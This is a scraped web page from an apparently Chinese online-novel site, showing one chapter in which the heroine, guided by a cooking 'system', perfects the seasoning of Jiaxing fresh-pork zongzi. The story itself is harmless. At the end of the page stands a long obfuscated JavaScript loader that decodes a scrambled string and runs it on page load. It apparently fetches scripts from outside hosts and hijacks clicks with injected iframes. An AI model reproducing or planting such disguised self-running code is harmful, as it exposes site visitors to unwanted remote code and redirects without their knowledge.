关灯
护眼
字体:

140160(第10页)

章节目录保存书签

感谢房东,解决了她的一大难题。

接下来,就是要学习对于粽叶的处理。在摘下来之后,最基本就是要清洗。干粽叶还要多一套程序,就是泡水。

很多人会用开水煮粽叶,但对新鲜粽叶来说,这?不?是一个必要的程序,只要清洗干净,不?做也可以?。孙淼就要负责搓洗,就爱那?个粽叶清洗得干干净净之后,摆在旁边备用。

接着,就需要做粽子了?。

嘉兴鲜肉粽分为内容物鲜肉和糯米两样,不?过大部分粽子也都是这?样,万变不?离其宗。不?过在调味上,这?个肉的调味要略微咸于平时的调味,因为它包在糯米里?面?,要是和平时一个调味,就着糯米吃的时候,反而会觉得有些寡淡。

所以?调味要比平时多放点,但又不?能放太多。要是真放的多了?,那?就不?好吃了?。

一般情?况下,其实这?种没太多所谓,所以?放点就行了?。但是对于系统来说,一切都要尽善尽美,必须达到那?个最完美的程度。因为粽子是统一卖的,并不?是在餐车前再进行客制化?调料,所以?必须达到多一分则咸、少一分寡淡的微妙平衡,让每一个客人都感到好吃。

如果要调到正好的味道,对于孙淼来说自?然不?是难题,她在麻辣烫那?一个小吃里?面?,就已?经做到了?极致。可是系统的要求是,要比平时稍微咸一点。

孙淼为了?这?个“稍微咸一点,伤透了?脑筋”,偏偏不?是在这?个时候就惊醒调整,而是要等?整个粽子包好之后,孙淼自?己去?吃、给客人吃,一旦出现问题就直接打回,全部重做。

而且用料做内馅的鲜肉,也是有讲究的,要猪腿肉。还要切,按照肥瘦两种切成长条形,这?也不?是随便切的,切的时候,还得按照肉的横纹,一条条慢慢切下来,变成长条。

调味后要反复揉搓肉条,让调味料深入肉里?面?,直到摩擦出白沫为止。孙淼擦的手都有点痛了?,才真的看到白沫。现代?很多人都不?讲究这?个了?,肉也不?是分开来切好的,而是直接选用肥瘦相间的五花肉。

虽然五花肉也能吃出肥瘦之间的感觉,但完整的一块肉在口味上未免还是有些欠缺。

肉处理好了?放在一旁静置,又要去?做糯米。

糯米先是洗干净、接着等?待沥干多余的水分。

糯米也是需要调味的,最基本的就是白糖、盐和酱油,但是肉已?经调味要比平和咸一点了?,现在还要求在糯米里?面?加这?些,到底要怎么把握度,孙淼也感到头疼。

她按照自?己的理解,往里?面?添加了?相应的调料。

接下来,就需要时间。

糯米几乎要静置一整个晚上,到了?最后还需要自?己用手指去?捻,确认糯米的程度达到完美,之后才能去?制作。

后面?的步骤就简单多了?,没什么太过精细的活。把两个粽叶垒在一块做成漏斗状,而后再倒入糯米、加入肉馅、再封上一层糯米,最后不?使用棉线,只靠粽叶本身?将整个粽子包起来。

这?些工作都是有标准度的,按照系统要求的来就行。有一点需要格外注意,那?就是肉馅。肉要两瘦一肥叠在一块,而后切成大小合适均等?的块状,才能塞到糯米里?面?去?。

而且现在也没多少只使用粽叶而不?带棉线的粽子了?,很多都是用棉线捆起来固定,这?样省时省力方便多了?。但是系统却敲着黑板警告孙淼:【不?要妄图偷懒,棉绳本身?自?己就带一点味道,和粽子一起煮不?仅会吸收锅里?的水,还会将原本的香味玷污,绝对不?允许棉线这?种东西进入食物中!】

“是是是,我就是说说而已?。”孙淼一边包粽子,一边回应。

包完了?粽子之后,就是漫长的烹饪过程。

三个小时,足足三个小时!孙淼第一次知道,原来煮粽子花的时间这?么长。她以?前也自?己包过粽子,只要粽子熟透了?就能吃。

但这?次的粽子,系统却要求中火煮2小时,再用小火闷1小时。这?其中还包括之前说到的熬煮氽炖烩焖法的工艺。

只是按照系统的教程做完之后,孙淼却发现这?个粽子吃起来有些咸。虚拟客人一边说着“这?个粽子这?么咸要怎么吃啊?!你是想齁死我不?成!”一边把孙淼的摊子给掀了?。

孙淼站在旁边,对这?样的事情?早已?经习惯。她面?上带着笑,安抚了?虚拟客人,赔钱之后虚拟客人才依旧怒气冲冲离开。

孙淼吃着粽子,在那?边想:果然是因为盐放多了?,所以?才会造成这?样的局面?。可凭心而论,孙淼做的粽子味道也不?差,绝对到不?了?“齁死”的程度。可是系统空间里?的客人都是被系统虚拟出来的,全都按照最过分的来,所以?才会有这?样的举动。

它要求孙淼做的,就是哪怕最严苛的客人,在美食的攻略下,也说不?出来半个字的“不?好”。只有这?样,才是系统出品的美食。

以?往系统会先操控孙淼的身?体,按照最精密的仪器让孙淼体验一下什么才是真正的调料,只是这?次,系统取消了?这?个教程。

【如果每一次,你都要依靠机器一样的我去?学会最精密的把控,那?你永远都只是机械操控下的傀儡,是系统在人间的复制品。宿主,我们希望你能给我们看到人类不?一样的一面?,作为人类那?灵光一闪下的光芒。】

它说的这?么好听,但真的要做到却很难。粽子的制作流程并不?困难,但是一次次尝试调味,那?“稍咸”一点的标准,却让孙淼伤透了?脑筋。

但孙淼确实是有天赋在身?上的,她耗费三个月,的确做出来了?这?个口味。面?前的一千多个虚拟客人没有一个能够说出孙淼做的不?好吃,不?管怎么想,都是“正正好好”的味道。

其实孙淼是有些耍赖的,她采用了?和之前类似的手法。她之前做很多东西,都能有两种口感,甚至做鸡汤的时候,还能做到咸度层层递进,最后再变得清润。

现在,孙淼做粽子也是一样的。

系统却认为,她并不?是在耍赖,不?管用什么方法,只要是正规的,系统就承认。

孙淼好不?容易从系统空间被放出来,睁开眼?睛却发现旁边的床铺上早已?空空如也。孙淼的手垂了?过去?,落在了?苏瑞希的枕头上,整个人都往那?边稍微靠了?靠。

她叹了?口气,良久才喊了?一声:“苏苏……”

好吧,她的苏苏姐已?经上班去?了?。孙淼打了?个哈欠,直接起床。楼下阿姨依旧给她准备好了?早餐,顺便在孙淼吃饭的时候和她聊两句:“今天不?是7号吗?隔壁小姑娘去?高考去?了?,今天早上她家紧张的要死,一大早就起床走了?。”

“本来听说是打算住在考场附近的,到时候走过去?就行。但是去?年?有新闻哦,说是一群考生?进酒店电梯结果电梯坏了?,被关在里?面?了?,导致一群人错过了?高考。”

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();